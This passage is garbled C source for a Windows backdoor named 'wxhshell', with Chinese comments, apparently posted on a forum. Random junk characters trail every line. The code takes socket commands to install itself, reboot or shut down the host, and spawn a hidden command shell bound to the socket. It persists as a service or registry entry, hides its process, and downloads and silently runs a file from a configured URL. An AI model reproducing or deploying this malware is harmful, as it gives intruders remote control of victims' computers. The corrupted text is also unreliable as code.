    switch(cmd[0]) { TKgN31`  
  qw>vu7/z  
  // 帮助 Uv652DC  
  case '?': { IW-|"5?9'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A;dD'Kgl  
    break; ZX#60o8  
  } |o'r?"  
  // 安装 n{&;@mgI  
  case 'i': { w'E?L`c  
    if(Install()) 2e03m62*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#_ 5w  
    else GLX{EG9Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EVC]B}  
    break; M|zTs\1I  
    } ! h92dH  
  // 卸载 Od:-fw  
  case 'r': { ^P*-bV4  
    if(Uninstall()) ~>P(nI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U<E]c 4*  
    else `uZMln @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <]X 6%LX  
    break; xGOVMo +  
    } L ./c#b!{  
  // 显示 wxhshell 所在路径 g-1j#V`5  
  case 'p': { \CV HtV  
    char svExeFile[MAX_PATH]; cG%X}ZV5  
    strcpy(svExeFile,"\n\r"); l(}MM|ka  
      strcat(svExeFile,ExeFile); pOh<I {r1  
        send(wsh,svExeFile,strlen(svExeFile),0); |I29m`  
    break; 7(a1@VH  
    } WW>m`RU`  
  // 重启 hQlyqTP|2  
  case 'b': { h+A+>kC5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t\TxK7i  
    if(Boot(REBOOT)) ;NrPMz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &flRrJ  
    else { EU04U  
    closesocket(wsh); #TC}paIpj  
    ExitThread(0); |\/\FK]?]  
    } =8%*Rrj^  
    break; 1N:~5S}s>  
    } i]L=M 5^C  
  // 关机 rHk,OC  
  case 'd': { ek]nLN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E@n~ @|10  
    if(Boot(SHUTDOWN)) lI+^}-<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8n-Xt7z  
    else { >d *`K  
    closesocket(wsh); 8S8UV(K0  
    ExitThread(0); TbN{ex*  
    } ,D]g]#Lq  
    break; ezCJq`b  
    } \=]`X2Ld  
  // 获取shell ~8"oH5  
  case 's': { #NYHwO<0-  
    CmdShell(wsh); ';c 6  
    closesocket(wsh); oveK;\7/m  
    ExitThread(0); 9q 2 vT^  
    break; *Ms"{+C  
  } IkjJqz  
  // 退出 6}!1a?X  
  case 'x': { nMfR< %r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }6<5mq)%  
    CloseIt(wsh); [u37 Hy_Gi  
    break; 6-0sBB9=u  
    } )9[u*|+  
  // 离开 )tnbl"0  
  case 'q': { eU,F YJt9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K"&^/[vMB  
    closesocket(wsh); c:&8B/  
    WSACleanup(); \7>*ULP  
    exit(1); NO@`*:.^Y  
    break; tf|;'Nc6  
        } t|h c`|  
  } Zq<j}vVJ  
  } 0a^bAEP  
NQX?&9L`r  
  // 提示信息 LME&qKe5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'b z&m(!  
} 5]upfC6  
  } =QbOvIq  
nE*S3  
  return; p<#aXs jy  
} LExm#T`  
!{+.)%d'g  
// shell模块句柄 \AH5 zdK  
int CmdShell(SOCKET sock)  _cj=}!I  
{ hliO/3g  
STARTUPINFO si; ,+4T7 UR  
ZeroMemory(&si,sizeof(si)); U]_WX(4 @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eEP{?F^I[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )KVr2y;RF  
PROCESS_INFORMATION ProcessInfo; QKB+mjMH#x  
char cmdline[]="cmd"; K/ &`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9==4T$nM[  
  return 0; LjTSu9I>  
} l U4 I*  
*w O~RnP  
// 自身启动模式 HKI\i)c  
int StartFromService(void) _ SOwiz  
{ FQ1B%u|  
typedef struct s }OL)rW=}  
{ 9+PAyI#w  
  DWORD ExitStatus; cs.t#C  
  DWORD PebBaseAddress; xW*Lceb  
  DWORD AffinityMask; g,!.`[e'ex  
  DWORD BasePriority; H.E=m0 np  
  ULONG UniqueProcessId; OFyy!r@?  
  ULONG InheritedFromUniqueProcessId; *PV"&cx  
}   PROCESS_BASIC_INFORMATION; 7aKI=;60.  
!4=_l6kg~+  
PROCNTQSIP NtQueryInformationProcess; 2[uFAgf@  
1'Q6l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rvx 7}ZL!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !ehjLFS?_  
1iLo$  
  HANDLE             hProcess; 2IRARZ,3  
  PROCESS_BASIC_INFORMATION pbi; ?[m1?  
f\_PNZCc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qlYi:uygY  
  if(NULL == hInst ) return 0; {FKr^)g  
.m l\z5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KsE$^`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oe2*$\?.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u_ l?d  
/.CS6W^z  
  if (!NtQueryInformationProcess) return 0; ,=4,eCS  
Z|Rc54Ct  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @KU;' th  
  if(!hProcess) return 0; 1zH?.-  
'N+;{8C-{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g3&nxZ  
:q*w_*w  
  CloseHandle(hProcess); R6o  D  
\G>C{v;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5[jS(1a`c  
if(hProcess==NULL) return 0; 5X+`aB  
QOYMT( j  
HMODULE hMod; N{Z+  
char procName[255]; ej&.tNvq  
unsigned long cbNeeded; ,52 IR[I<T  
[f6BA|   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); amC)t8L?  
Nc{&AV8Y_v  
  CloseHandle(hProcess); fxoEK}TM  
0E!-G= v  
if(strstr(procName,"services")) return 1; // 以服务启动 h8 N|m0W  
5R~M@   
  return 0; // 注册表启动 5$'[R ;r  
} tzGQo5\  
G~(\N?2  
// 主模块 t,JX6ni  
int StartWxhshell(LPSTR lpCmdLine) R@z`  
{ hk:>*B}  
  SOCKET wsl; sL~4 ~178  
BOOL val=TRUE; !E?+1WDS0  
  int port=0; E>tHKNyVTp  
  struct sockaddr_in door; JfSe; v  
%sOY:>  
  if(wscfg.ws_autoins) Install(); RH<2f5-sC!  
M.}J SDt  
port=atoi(lpCmdLine); kBcTXl  
]bh%pn  
if(port<=0) port=wscfg.ws_port; cl `Wl/Q#  
>.`*KQdan  
  WSADATA data; vr4r,[B6y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h+j^VsP zB  
z{\tn.67  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `14@dk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }BI6dZ~2A  
  door.sin_family = AF_INET; y,|2hrj/0E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s9CmR]C  
  door.sin_port = htons(port); CZ u=/8?  
BQ Vro;#Jc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l`N#~<.  
closesocket(wsl); %\sE\]K  
return 1; 0m*b9+q  
} G>0d^bx;E  
K=JDl-#!  
  if(listen(wsl,2) == INVALID_SOCKET) { >wmHCOL:  
closesocket(wsl); \zg R]|  
return 1; -_5Dk'R#`  
} Y` ]P&y  
  Wxhshell(wsl); /96lvn]8lO  
  WSACleanup(); b:hta\%/2  
D|)_c1g  
return 0; WXmfh  
T\.(e*hC  
} QCZ88 \jX[  
GLecBF+>F  
// 以NT服务方式启动  2hF^U+I}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4>V@+#Ec5  
{ fb`x1Q  
DWORD   status = 0; sYDav)L.  
  DWORD   specificError = 0xfffffff; r1-MO`6  
n5UUoBv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /fb}]e]N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mJ<`/p?:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P:.jb!ZU  
  serviceStatus.dwWin32ExitCode     = 0; Ya\:C]   
  serviceStatus.dwServiceSpecificExitCode = 0; )SJM:E  
  serviceStatus.dwCheckPoint       = 0; 3 5.&!4}  
  serviceStatus.dwWaitHint       = 0; K 'l-6JY-  
Sxc)~y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %\48hSe  
  if (hServiceStatusHandle==0) return; "o`?-bQ:  
$zCCeRP  
status = GetLastError(); B <r0y  
  if (status!=NO_ERROR) K<5yjG8&  
{ /mz.HCs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "A+7G5  
    serviceStatus.dwCheckPoint       = 0; |}:}14ty  
    serviceStatus.dwWaitHint       = 0; z;oia!9z  
    serviceStatus.dwWin32ExitCode     = status; 5)XUT`;'){  
    serviceStatus.dwServiceSpecificExitCode = specificError; (c)/&~aE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); & tT6.@kH  
    return; `WL3aI":  
  } ~$K{E[^<  
DL4`j>2Ov  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bLG7{qp  
  serviceStatus.dwCheckPoint       = 0; ])F+ C/Px1  
  serviceStatus.dwWaitHint       = 0; B7'#8heDh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $%bd`d*S  
} F*J1w|)F0  
DVhBZ!u 9  
// 处理NT服务事件,比如:启动、停止 t adeG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V~KWy@7  
{ G) KI{D  
switch(fdwControl) hmkb!)  
{ ZKEoU!  
case SERVICE_CONTROL_STOP: KO8{eT9d  
  serviceStatus.dwWin32ExitCode = 0; co8R-AB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zW#5 /*@  
  serviceStatus.dwCheckPoint   = 0; fn 'n'X|  
  serviceStatus.dwWaitHint     = 0; tDL.+6/  
  { fK=0?]s}I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qypF}Pw  
  } *s 4Ym  
  return; I ]o|mjvs  
case SERVICE_CONTROL_PAUSE: Q ]TZyk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tKUW  
  break; q7KHx b  
case SERVICE_CONTROL_CONTINUE: c]x-mj =  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "1Hn?4nz5  
  break; s(fkb7W,gO  
case SERVICE_CONTROL_INTERROGATE: "t^RZ45  
  break; f4.jWBF  
}; "$(D7yFO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tL;.vRx  
} ;yN Y/  
|%5Aku0`s  
// 标准应用程序主函数 ({Md({|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \jk* Nm8;  
{ l2 n`fZL  
vS~tr sI  
// 获取操作系统版本 =dNE1rdzNa  
OsIsNt=GetOsVer(); D>{`I'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J#Y0R"fo  
$*X?]?  
  // 从命令行安装 DjK7_'7(L  
  if(strpbrk(lpCmdLine,"iI")) Install(); :l]qTCmY  
n.9k5r@  
  // 下载执行文件 g`'!Vgd?M[  
if(wscfg.ws_downexe) { Brs6RkRf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jq]5Y^e  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5SUO`4L  
} '6NrL;  
RICm$,  
if(!OsIsNt) { M.dX;iM<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^g(qP tQ  
HideProc();  o%j?}J7y  
StartWxhshell(lpCmdLine); C1_0 9Vc  
} [7 PC\  
else Dom]w.W5  
  if(StartFromService()) ,\ 1X\  
  // 以服务方式启动 9teP4H}m  
  StartServiceCtrlDispatcher(DispatchTable); 0/] h"5H3  
else &8i$`6wY  
  // 普通方式启动 `~d7l@6F  
  StartWxhshell(lpCmdLine); RYvdfj.ij  
DRRQ] eK0  
return 0; CB>W# P%  
}
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只看该作者 1 发表于: 2006-10-10
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